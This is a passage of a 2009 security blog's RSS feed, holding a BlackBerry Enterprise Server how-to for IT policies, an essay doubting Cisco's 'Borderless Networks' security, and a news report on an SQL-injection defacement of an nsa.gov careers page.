<p>For a complete list of policies, please see the <a href="http://docs.blackberry.com/eng/deliverables//3801/Policy_Reference_Guide.pdf" target="_blank">Policy Reference Guide</a>.</p>

<h4>&#160;</h4>

<h4>Howto</h4>

<p><b>     <br />Create, Assign, View, and Send IT policies</b>     <br /><b>Doc ID :</b> KB02022     <br /><b>Last Modified :</b> 2007-02-01     <br /><b>Document Type :</b> How To     <br /><b>Environment</b>     <br />This article applies to BlackBerry® Enterprise Server software versions 3.6, 4.0, and 4.1 for Microsoft® Exchange.     <br /><b>Procedure</b>     <br />The BlackBerry Enterprise Server uses an IT policy to control the behavior of the BlackBerry devices assigned to it. IT policies cover a wide range of BlackBerry device functions (for example, passwords, attachment viewing, and available browsers). Administrators can create custom IT policies in addition to the IT policies already present on the BlackBerry Enterprise Server.     <br /><b>Creating IT Policies</b>     <br />To create an IT policy, complete these steps:     <br />BlackBerry Enterprise Server software versions 3.6 and 4.0</p>

<ol>   <li>Depending on your version, open the BlackBerry Enterprise Server Management console or BlackBerry Manager. </li>    <li>Right-click the BlackBerry Enterprise Server name, then click <b>IT Policy</b>. </li>    <li>Click <b>New</b>, then create a name for the IT policy. </li>    <li>Select the check box beside each IT policy rules item you would like to assign. A description of the IT policy will appear. </li>    <li>To enable the selected IT policy, in the description window, click <b>TRUE</b>. </li>    <li>Click <b>Apply</b>, then click <b>OK</b>. </li> </ol>

<p>BlackBerry Enterprise Server software version 4.1</p>

<ol>   <li>In BlackBerry Manager, select <b>Servers</b>, then click the <b>Global</b> tab. </li>    <li>From the Tasks menu, click <b>Edit Properties</b>. </li>    <li>Select <b>IT Policy</b>, then double-click <b>IT Policies</b>. </li>    <li>Click <b>New</b>, then create a name for the IT policy. </li>    <li>Select an IT policy group to view the associated IT policy rules. </li>    <li>Select the appropriate IT policy rules. </li>    <li>Click <b>Apply</b>, then click <b>OK</b>. </li> </ol>

<p><b>Assigning IT Policies</b>     <br />To assign an IT policy to a BlackBerry device user, complete the following steps:     <br />BlackBerry Enterprise Server software versions 3.6 and 4.0</p>

<ol>   <li>Depending on your version, open the BlackBerry Enterprise Server Management console or BlackBerry Manager. </li>    <li>Right-click the BlackBerry Enterprise Server name, then click <b>IT Policy</b>. </li>    <li>Select an IT policy, then click <b>Edit User List</b>. </li>    <li>Click <b>Add Users to This Policy</b>. </li>    <li>Select a BlackBerry device user, then click <b>Add</b>. </li>    <li>Click <b>Close</b>, then click <b>OK</b> to close the Edit IT Policy Userlist window. </li>    <li>Click <b>OK</b> again. </li> </ol>

<p>BlackBerry Enterprise Server software version 4.1</p>

<ol>   <li>In BlackBerry Manager, select <b>Servers</b>, then click the <b>Global</b> tab. </li>    <li>From the Tasks menu, select <b>Edit Properties</b>. </li>    <li>Select <b>IT Policy</b>, then double click <b>IT Policy to User Mapping</b>. </li>    <li>Select a BlackBerry device user, then click the button next to the appropriate IT policy. </li>    <li>Click <b>OK</b> to close the IT policy to User Mapping window. </li>    <li>Click <b>Apply</b>, then click <b>OK</b>. </li> </ol>

<p><b>Viewing IT Policies</b>     <br />To view IT policies on the BlackBerry Enterprise Server, complete these steps:     <br />BlackBerry Enterprise Server software versions 3.6 and 4.0</p>

<ol>   <li>Depending on your version, open the BlackBerry Enterprise Server Management console or BlackBerry Manager </li>    <li>Right-click the BlackBerry Enterprise Server name, then click <b>IT Policy</b>. </li>    <li>Select an IT policy, then click <b>View</b> to see the BlackBerry device and Desktop Policy Settings that have been applied. </li>    <li>Click <b>OK</b> to close the View Policy window. </li>    <li>Click <b>OK</b> again. </li> </ol>

<p>BlackBerry Enterprise Server software version 4.1</p>

<ol>   <li>In BlackBerry Manager, click <b>Servers</b>, then click the <b>Global</b> tab. </li>    <li>From the Tasks menu, select <b>Edit Properties</b>. </li>    <li>Select <b>IT Policy</b>, then double-click <b>IT Policies</b>. </li>    <li>To view the IT policy rules, click <b>Properties</b>. </li>    <li>Click <b>OK</b>. </li> </ol>

<p>To view an IT policy on a BlackBerry device, complete these steps:</p>

<ol>   <li>From the Home screen, select <b>Options</b>. </li>    <li>Select <b>Security Options &gt; General Settings</b>. </li>    <li>The IT policy Name, Last Updated, and Time Stamp fields will be listed. </li> </ol>

<blockquote>   <p><b>Note:</b> Depending on the BlackBerry device and BlackBerry Device Software version, the instructions for viewing the IT policy on the BlackBerry device may vary. For example, on the BlackBerry 7100 series, the BlackBerry device user must select <b>Settings</b> or <b>Tools</b>, then select <b>Security</b>.</p> </blockquote>

<p><b>Sending IT Policies</b>     <br />To send an IT policy to a BlackBerry device user, complete the following steps:     <br /><b>Note:</b> By default, when you assign an IT policy to a BlackBerry device user, the IT policy is automatically sent to the BlackBerry device user.     <br /><b>Note:</b> When a change is made to an existing IT policy, it is automatically resent to all BlackBerry device users assigned to that IT policy.     <br />BlackBerry Enterprise Server software versions 3.6 and 4.0</p>

<ol>   <li>Depending on your version, open the BlackBerry Enterprise Server Management console or BlackBerry Manager </li>    <li>Select the BlackBerry Enterprise Server name, then right-click a BlackBerry device user name. </li>    <li>Click <b>Properties</b>. </li>    <li>On the IT Admin tab, click <b>Resend policy</b>. </li>    <li>Click <b>Apply</b>, then click <b>OK</b>. </li> </ol>

<p>BlackBerry Enterprise Server software version 4.1</p>

<ol>   <li>In BlackBerry Manager, select the BlackBerry Enterprise Server name. </li>    <li>Select a BlackBerry device user, then click the question mark ( <b>?</b> ) symbol beside <b>IT Admin</b>. </li>    <li>From the menu that appears, you can resend the IT policy or assign an IT policy to a BlackBerry device user. </li>    <li>Click <b>OK</b>. </li> </ol>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/where-is-your-bes-policy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Are Borderless Networks Possible?</title>
		<link>http://praetorianprefect.com/archives/2009/10/borderless-networks-yeah-but-wheres-my-border/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/borderless-networks-yeah-but-wheres-my-border/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 19:27:33 +0000</pubDate>
		<dc:creator>Jeremy Rossi</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[borderless networks]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[policy]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=980</guid>
		<description><![CDATA[I attended SC World Congress in New York this week and a keynote from Cisco caught my attention: Securing the Cloud: Building the Borderless Network.  I became fixated on the words used over and over by Joel McFarland. Borderless this, borderless that, borderless everything.  This campaign started to bother me as this was [...]]]></description>
			<content:encoded><![CDATA[<p>I attended <a href="http://www.scmagazineus.com/SC-World-Congress-2009/section/886/">SC World Congress</a> in New York this week and a keynote from Cisco caught my attention: <em>Securing the Cloud: Building the Borderless Network</em>.  I became fixated on the words used over and over by <a href="http://www.scmagazineus.com/Joel-McFarland-senior-manager-Product-Management-Security-Technology-Group-Cisco-Systems/article/149536/">Joel McFarland</a>. Borderless this, borderless that, borderless everything.  This campaign started to bother me as this was a security conference and a network company was pushing the idea of less borders.  It seemed off, wrong, and incomplete to me.</p>

<h2>Little Bit of History</h2>

<p>I am going to quickly cover some of the history of the Internet and how it grew borders, but please skip to the highlight of the article if you are familiar with this already: <a href="#borderless-what">Borderless Networks, What?</a></p>

<h5>ARPANET (&#8216;69-&#8217;91)</h5>

<p>In the beginning, there was <a href="http://en.wikipedia.org/wiki/ARPANET">ARPANET</a> which was the pioneer in packet switching networks and gave providers the choice of which method and hardware for communication it would use.  However, the base protocol used for devices to communicate in ARPANET was NCP.  The NCP  protocol could best be described as a network device driver and less as a network transport stack. It did not have any method for end-to-end error handling which was seen as a problem, but nothing was done about this until 1983.</p>

<p>In 1983, TCP/IP replaced NCP as the protocol for transport and ARPANET became a part of what was to become the Internet.  TCP/IP was a huge improvement over NCP in that it accounted for problems on the network and allowed the network not to come to a grinding halt when packets were lost.  It also achieved the concept of end-to-end connectivity between each host.  This meant that as long as two hosts were on the Internet they could reach each other by utilizing standard TCP/IP.  This standard framework also lead to the growth of many different applications as there was no longer any need to make changes to the network to add new applications/protocols.</p>

<h5>First Borders (&#8216;91-&#8217;94)</h5>

<p>All the building blocks were in place and  what formed was a large group of interconnected networks to share and exchange data. Then the first virus and worm hit in 1983 and 1988 respectively.  The <a href="http://en.wikipedia.org/wiki/Morris_worm">morris worm</a> gained a fair amount of media attention and in fact prompted the establishment of <a href="http://www.cert.org/">CERT</a>.  Even in this embryonic stage the vitality of the information being shared caused many researchers to begin placing limitations on the end-to-end connectivity of their hosts.  Thus began the <em>&#8216;Us&#8217;</em> and <em>&#8216;Them&#8217;</em> status of the Internet.</p>

<p><em>&#8216;Us&#8217;</em> and <em>&#8216;Them&#8217;</em> started out simple with a move to keep networks segregated-or put another way, adding a border between the networks.   At first, the borders were nothing more than routers that limited the effects from network <em>A</em> from spilling over into network <em>B</em>.  They were effective, but in 1991 <a href="http://en.wikipedia.org/wiki/Digital_Equipment_Corporation">DEC</a> released the first modern Firewall: SEAL.  This marked the first real security border on the Internet, where all packets were inspected and compared to a set of policy rules before being passed on.  These first security borders were instrumental in providing the trust and assurance in the network that companies and researchers required, speeding the growth of the Internet.  While intrusion was still possible, the bar of entry was raised beyond causal attacks and probes.</p>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 42px;margin-right: 21px;"><a title="Figure 1: Us vs. Them" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/10/us-them.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/us-them.png" border="1" alt="Us vs Them" width="300" height="233" /> </a>
<p class="wp-caption-text"><a title="Figure 1: Us vs. Them" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/04/man-example.png">Figure 1: Us vs. Them</a></p></div>

<p>In 1992, the dominant addressing of hosts was IPv4, where each host is a assigned a 32-bit address.  This assignment limited the total number of addressable hosts to 4,294,967,296, but, due to reservations and subnetting, this could never be fully utilized.  At this time, it was recognized that IPv4 limitations would be become a problem in the future, beginning the process of creating a new IP protocol with a much higher number of addressable hosts. IPv6 was born in 1994, based on a 128-bit address for each host.  This would effectively allow every man, woman, and child on Earth to be assigned an address many times over.  As a part of the formation of IPv6, security between networks was also taken into account and <a href="http://en.wikipedia.org/wiki/IPsec">IPSec</a> was created as a requirement of the IPv6 protocol.</p>

<p>IPv6&#8217;s creation gave the Internet a secure method of communications between networks via IPSEC and nearly unlimited address space, but IPv6 did not get off the ground quickly.  This was mostly due to the fact that all devices and operating systems would need to be upgraded to handle the new protocol, and there was little to no pressure from the market to push things forward.   IPSec on the other hand did take off, as it quickly became the standard method for interconnecting trusted networks over an untrusted medium (such as the Internet).</p>

<p>At the same time that IPv6 and IPSec were being developed, another group of people began working on an alternate method for dealing with the lack of addressable space in IPv4.  <a href="http://en.wikipedia.org/wiki/Network_address_translation">Network Address Translation (NAT)</a> was published in <a href="http://www.ietf.org/rfc/rfc1631.txt">RFC1631</a> in 1994 as a short term solution, while the larger problems were being addressed.  NAT became very successful quickly as it allows a very large number of hosts to access the larger Internet while using very few publicly addressable IP addresses.  As with most things, NAT came with some trade-offs.  One of the big ones was that hosts no longer had complete end-to-end connectivity.  Thus, another border on the network was created; in practice firewalls became the dominate NAT devices.  Nonetheless, the NAT border would create problems for applications developers for years to come.</p>

<h5>Present (&#8216;09)</h5>

<p>In 2009, the way Internet runs is really not very different from 1994;  IPv6 is just now getting underway, NAT is used everywhere, and IPSEC still secures networks over an untrusted medium. What has changed in a big way is the applications and uses of the Internet.  Telephone calls commonly use the Internet for transport, on demand video is a huge source of traffic, social media networks garner huge numbers of users, online shopping is an important revenue stream for companies, and most recently more and more services are being hosted elastically on demand via the Internet.</p>

<h2 id="borderless-what">Borderless Networks. What?</h2>

<p>Now let&#8217;s get back to Borderless Networks&#8230;</p>

<p>Cisco envisions a global network where you can go any place and access any data you could need at anytime.  John Chambers detailed the approach on a video at <a href="http://cisco.com">Cisco.com</a>:</p>

<div class="wp-caption" style="display: block;text-align: left;margin: 5px;margin-left: 10px;">
&#8220;In terms of what&#8217;s happening right now, I think the biggest market transition is the shift to a more collaborative world, which is only made possible by what we call an &#8220;intelligent, network-centric&#8221; world. This network-centric world encompasses the whole range of communication experiences and seamlessly delivers information. Consumers will access voice, the web, e-mail, and video by any of the 14 billion devices that we think will be connected to the internet by 2010, all loaded onto the network. In the very near future, for example, you won&#8217;t need to hang up your cell phone if you want to switch to a landline; you&#8217;ll stay connected as you change devices, as long as they&#8217;re all connected to a network.&#8221;
<p class="wp-caption-text"><a href="http://www.cisco.com/survey/exit.html?http://discussionleader.hbsp.com/hbreditors/2008/10/cisco_ceo_john_chambers_on_tea.html">Cisco CEO John Chambers talks about Cisco&#8217;s collaborative management model</a></P>
</div>

<p>Cisco also has a <a href="http://www.cisco.com/web/solutions/netsys/g2/index.html?POSITION=social+media&amp;COUNTRY_SITE=us&amp;CAMPAIGN=Transformers+Launch&amp;CREATIVE=Borderless+Networks+to+Index&amp;REFERRING_SITE=Twitter">Virtual event</a> on Oct 20th for Borderless Networks, and have been encouraging people to register via <a href="http://twitter.com/CiscoGeeks">twitter</a> and emails for the last two weeks.</p>

<div class="wp-caption" style="float: right;width: 450px;text-align: left;margin: 5px;margin-left: 20px;">

LUNCH &#8211; Securing the cloud: Building the borderless network
An exploration into the “cloud” revealing the power of choice in email security. Learn how to harness all the benefits that the cloud has to offer while avoiding common pitfalls for early SaaS solutions. The crumbling walls of network perimeters are forcing organizations to architect new network designs to address the evolution of borderless networks. <br />
<br />
Attend this session and learn:<br />
- Embracing the change to borderless networks<br />
- Understanding Cisco&#8217;s next-generation cloud security architecture<br />
- Realizing the power of choice in choosing an email security solution<br />
<br />
- Joel McFarland, senior manager in the product management team within the Security Technology Group at Cisco Systems<br />

<p class="wp-caption-text"><a href="http://www.scmagazineus.com/Agenda-Day-1-2009/section/888/">SC World Congress: Agenda Day 1</a></P>
</div>

<p>I first learned of the Borderless Networks push during the <a href="http://www.scmagazineus.com/SC-World-Congress-2009/section/886/">SC World Congress</a>.  I was there to get a preview of Borderless Networks as presented by Joel McFarland.  The session description sounded interesting and as it was a keynote there was nothing else to pull on my time.</p>

<p>Two co-workers and I attended the session, but being a little late we had to make our way to the very front of the room to find seats.  Up front we were able to hear and see everything in great detail, but in hindsight this might have not been the best place for us. There was no way Joel could have missed the looks of skepticism on all three of our faces.</p>

<p>Joel pushed the Cisco idea of Borderless Networks in many different ways, but pointed to the <a title="Figure 2: The iPhone" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/10/iphone_home.gif">iPhone</a> as the game changer, the beginning of things to come.  Then iPhone and salesforce.com became his prime example of how the mobile sales team are almost completely disconnected from the enterprise network.  They access leads, manage contacts, input orders, and exchange notes and information all without even logging into the corporate network.  At this point, I looked to my co-workers with a questioning expression and whispered the rhetorical question &#8220;<em>No corporate login?</em>&#8220;.</p>

<p>The example Joel used is common for a sales workforce, and is actively encouraged in many environments, but this was just something that I have always felt was wrong.  In many companies, sales leads are valuable information and something that competitors and even other sales people would actively try to gain access to.  When all access to this information is controlled by an external party you are no longer able to apply your own controls. In fact, you are beholden to the policies and procedures of the provider.  Joel was one step ahead of me on this.  He pointed out the problems that were playing through my head and countered that salesforce.com can be made to use a corporation&#8217;s internal authentication methods (Active Directory, RSA Token, etc.).  As such, your internal policies for access and removal of access are once again in your control.  I conceded. Joel is correct that salesforce.com can be brought into line with one&#8217;s internal security policy, but he does not address the issue of the remote device-the iPhone itself.</p>

<h4>Borderless</h4>

<p>Let me come back to the iPhone in a bit, I want to point out another slide that came up during this iPhone praise.  In <a title="Figure 2: Before &#038; After" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/10/iphone_home.gif">Figure 2</a> I have created a combined version of the two slides Joel was showing to demonstrate the future of networking (I have recreated them from memory, but its close enough for this post).</p>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 42px;margin-right: 21px;"><a title="Figure 2: Before &#038; After" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/10/before-after_borderless.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/before-after_borderless.png" border="1" alt="Us vs Them" width="500" height="400" /> </a>
<p class="wp-caption-text"><a title="Figure 2: Before &#038; After" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/10/iphone_home.gif">Figure 2: Before &#038; After</a></p></div>

<p>In Figure 2, we have the <strong>before</strong> and <strong>after</strong> sections.  According to Joel, currently the <strong>before</strong> example is a good summary of how most enterprises networks allow access into and between their networks.  This Joel and I agree on.</p>

<p>As seen in the <strong>before</strong> section, you have a defined entry point into the network from outside, where all external resources gain access.  This is your border between &#8220;<em>us</em>&#8221; and &#8220;<em>them</em>&#8220;.  In the examples, both the remote home desktop and iPhone access the network and are allowed across past the border only if proper authentication and authorization have take place.  Once completed, the remote device is granted access to the resources that are allowed for it to function as an effective job tool: access to to internet via internal proxy, access of files in the London office, or logging into the salesforce.com website.  The key thing is that all access flows through this single point of entry.</p>

<p>By restricting access for remote devices to a single point, we are able to overcome some technical shortcomings and greatly reduce the vectors of attack for the network.  NAT is required due to the limited number of publicly addressable addresses. Thus end-to-end connectivity is not an option for the remote devices.  The use of IPSec for transport and assigning a RFC1918 address to the remote device end of the IPSec tunnel allows one to overcome the NAT limitations.  This gives you remote device end-to-end connectivity within the enterprise network.  By using this method the network administrators are able to capture and monitor at a single point all access into and out of the network.  NAC, IPS/IDS, and other methods of monitoring are commonly deployed here.</p>

<p>With the <strong>after</strong> diagram of Figure 2, we see the future as Cisco/Joel see it.  This is where all resources are able to access all other resources; also known as complete end-to-end connectivity.  Joel did not say how this was to be achieved, but given the network diagram it&#8217;s not hard to surmise that Cisco is planning a big push for IPv6.  IPv6 will allow for this type of network, and will bring down the NAT boundary.  With it the technical limitation of too few addresses for end-to-end connectivity on the Internet is eliminated and things can get a lot more complex as we see in the <strong>after</strong> section of the diagram.</p>

<p>On the <strong>after</strong> diagram you see end-to-end connectivity to each resource both inside the network and outside.  We have an iPhone going directly to salesforce.com, directly accessing a file in the London office, and able to access all the data that it could ever need.  What about limiting access to resources? How do you make sure that a remote home desktop does not start copying all of the data from the London office, NYC office, and salesforce.com to a remote site?  What if the desktop is infected with malware?  How do you log the activity of the remote device access? All the questions become much harder when you have completed end-to-end connectivity, and historically we have learned it becomes an even larger problem when there are remote devices involved.</p>

<p>All the questions I have asked about the security of the <strong>after</strong> sections can be answered with products already on the market and in fact are recommended for use in both networks.  The problem becomes the scale that is needed to protect and defend a network that has complete end-to-end connectivity.  Once again, going back to the <strong>after</strong> diagram, only taking into account remote device access, the number of policies that needs to be maintained, protected, and monitored goes from 1 to 4.  Now a growth of 400% is big, but almost manageable. If you start to think about a small enterprise with 20 offices, 2 datacenters, and 200 remote users, the problem of scale is instantly untenable.</p>

<p>IPv6 will solve a lot of problems for networks as the need for NAT will go away and devices will be able to directly address each other across networks and boundaries, but as with just about everything there are side effects.  Keeping control of access into and out your network is the first line of defense and with IPv6 this becomes a policy and enforcement issue even if it is no longer a technical requirement.</p>

<h4>The iPhone, Key to the Borderless Network</h4>

<p>Joel said he likes his iPhone and from the huge number of videos from Cisco featuring an iPhone it&#8217;s safe to assume Cisco does too.  During the keynote Joel pointed out the iPhone a few times in a number examples and in general with heavy praise.  Joel and I agree the iPhone is an amazing device, an important step forward in mobile computing.  After this Joel and I begin to disagree, namely around one key point: &#8220;<em>The iPhone is a game changer.</em>&#8221;  I think that statement needs to add &#8220;<em>for the consumer market</em>&#8220;.</p>

<div class="wp-caption" style="float: left;margin: 5px;margin-left: 5px;margin-right: 21px;"><a title="Figure 3: The iPhone" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/10/us-them.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/iphone_home.gif" border="1" alt="Us vs Them" width="200" height="330" /> </a>
<p class="wp-caption-text"><a title="Figure 3: The iPhone" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/10/iphone_home.gif">Figure 3: The iPhone</a></p></div>

<p>iPhones are enabling users to use the Internet from almost anyplace; it&#8217;s one of the most popular cameras on <a href="http://www.flickr.com/cameras/">flickr</a>, has a huge list of applications, and, for some people, a complete replacement for the traditional computer.  While its strong points work well in the consumer market, in the enterprise markets it&#8217;s a very different beast.  In fact the strongest points for the iPhone in the consumer market are security concerns for the enterprise.  Application controls are limited, centralized control is even more limited, and encryption of the data residing on the devices is a <a href="http://www.wired.com/gadgetlab/2009/07/iphone-encryption/">problem</a> on the most fully featured phone to date.</p>

<p>Devices like the iPhone should be thought of less as a phone and more as a laptop. With that comes all the same protections and controls that we use to mitigate risk on an enterprise laptop. Here is a quick list of what I expect from a laptop and by extension from an iPhone for it to become a viable remote access device in the enterprise environment:</p>

<ul>
<li>Virus and Malware software with centralized reporting</li>
<li>Secure communications for the device; both internal resources and the ability to define policies</li>
<li>Strong Data Encryption on the device</li>
<li>Ability to do remote kill of device</li>
<li>Application installation and run controls</li>
<li>Web Filter/Proxy controls</li>
<li>Access controls, password complexity settings and password failure data destruction</li>
</ul>

<p>Some of the areas listed are available on the iPhone, but none of them are near complete and ready for everyday use in an enterprise.  <a href="http://www.rim.com/">Research In Motion</a> (RIM) dominates the enterprise market for the reasons I have listed here.  RIM via the BlackBerry Enterprise Server (BES) gives the enterprise complete control of every device that connects via a centralized management station.  BES also does network traffic correctly in that all devices came back to the BES at a single point of entry into the enterprise.  This allows an enterprise to place additional control directly attached to the BES and not with multiple devices all over the network.  RIM&#8217;s BES product represents the minimum level of security that should be expected for remote access of phone like devices. I would go so far as to say it should be the starting standard for how remote access devices should behave.</p>

<p>The iPhone might be the start of things to come, but in no way is it even close to ready for the enterprise market.</p>

<h2>Why?</h2>

<p>Cisco&#8217;s push with Borderless Networks is either something that they haven&#8217;t completely vetted from a security perspective or the security strategy isn&#8217;t completely explained in the marketing.  The huge increase in the number of points needing protection, the corresponding increase in the policy and management, and management data flow and access controls are areas that need addressing.  These are problems we still having troubles controlling with our current network deployments.  Unless Cisco has a magic bullet coming out of their research and development departments, I don&#8217;t see how this move to Borderless Networks is even possible.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/borderless-networks-yeah-but-wheres-my-border/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>NSA.gov Site Defacement</title>
		<link>http://praetorianprefect.com/archives/2009/10/nsa-gov-site-defacement/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/nsa-gov-site-defacement/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 21:02:24 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cyberwar]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[hacker groups]]></category>
		<category><![CDATA[hacktivism]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=926</guid>
		<description><![CDATA[It appears, according to the site defacement archive hosted at Zone-H, that on or around October 5th an NSA web site application was the victim of an SQL injection exploit resulting in a web site defacement. A web application loading a list of recruitment events at colleges was compromised on the careers section of <a href="http://www.nsa.gov/applications/careers/recruit_events/">nsa.gov</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/nsahack_thumb.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/nsahack_thumb-150x150.jpg" alt="nsahack_thumb" title="nsahack_thumb" width="150" height="150" class="alignleft size-thumbnail wp-image-928" /></a>It appears, according to the site defacement archive hosted at Zone-H, that on or around October 5th an NSA web site application was the victim of an SQL injection exploit resulting in a web site defacement. A web application in the careers section of <a href="http://www.nsa.gov/applications/careers/recruit_events/">nsa.gov</a> loading a list of recruitment events at colleges was compromised.</p>

<h3>10/05/2009 Appearance</h3>

<div id="attachment_931" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/nsa_hack11.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/nsa_hack11-300x271.jpg" alt="Site appearance according to posting on Zone-H." title="nsa_hack1" width="300" height="271" class="size-medium wp-image-931" /></a><p class="wp-caption-text">Site appearance according to posting on Zone-H.</p></div>

<h3>Correct Appearance</h3>

<div id="attachment_927" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/nsa_hack2.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/nsa_hack2-300x239.jpg" alt="NSA Career Fair schedule, correct appearance." title="nsa_hack2" width="300" height="239" class="size-medium wp-image-927" /></a><p class="wp-caption-text">NSA Career Fair schedule, correct appearance.</p></div>

<h3>SQL_Master</h3>

<p>The attacker, using the handle SQL_Master, is attributed on Zone-H to site defacements of Google Tokelau (a territory in New Zealand) and a Microsoft web property in Korea. He has been associated with the Jurm team, a Moroccan hacker group known primarily for web site defacements of the Israeli version web sites of major companies, for example Kia, Sprite, and Fanta.</p>

<p>A Microsoft defacement attributed to SQL_Master from July of this year references &#8220;Agd_Scrop, free him&#8221;. Agd_Scorp was part of a Turkish hacker group called Peace Crew that defaced NATO and U.S. military web sites as a political reaction to Operation Cast Lead, or as its more commonly referred to the Gaza War, where Israel and Hamas forces clashed starting December of 2008. The two hacker groups are known to have partnered in defacements at the beginning of this year during the conflict in what was termed a virtual war where a few thousand Israeli web sites were defaced. Agd_Scrop appears to have been arrested by Kayseri (central Turkey) police over the summer, and faces up to 20 years in prison on various cybercrime related charges.</p>

<h3>National Security Agency</h3>

<p>The NSA or National Security Agency is the cryptologic intelligence agency of the United States. Created in 1952 under President Truman, its primary initial responsibility was the collection and analysis of foreign communications. In 2008 President George W. Bush signed a directive authorizing the NSA to monitor the computer networks of all federal agencies, giving the agency a primary role in federal efforts around cybersecurity.</p>

<p>Because of this role and other factors, including the agency&#8217;s historical role with cryptographic systems and controversial domestic wiretapping programs, NSA networks and computer systems are an attractive target for crackers. Further, because of the agency&#8217;s role in cybersecurity monitoring, defacements such as this one are embarrassingly problematic.</p>

<h3>Zone-H.org</h3>

<p><a href="http://www.zone-h.org">Zone-H.org</a>, a site hosted in France which has been around since 2002, hosts an archive of defaced web sites. In January 2007 the site itself was a victim of a pseudo defacement, when a team from Saudi Arabia gained access to the registrar&#8217;s administrative panel and redirected the zone-h.org domain name to a different IP. The site&#8217;s mission is very similar to the defacement archive that used to be maintained at <a href="http://attrition.org">attrition.org</a>. Both have been the subject of criticism over the years, the suggestion being that hosting the archive is itself an incentive for site defacements. The counter to this is that without the central archiving of the evidence of web site defacements, the problem would be less known and understood by the security community. Companies may also try to sweep such episodes under the rug. Besides, the site defacements would simply be posted in other places (forums and similar web sites).</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/">Newsweek Reports Zombie Invasion</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/going-after-bp/">Going After BP</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/nsa-gov-site-defacement/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Adobe to release critical update on patch Tuesday</title>
		<link>http://praetorianprefect.com/archives/2009/10/adobe-to-release-critical-update-on-patch-tuesday/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/adobe-to-release-critical-update-on-patch-tuesday/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 15:03:50 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[patch tuesday]]></category>
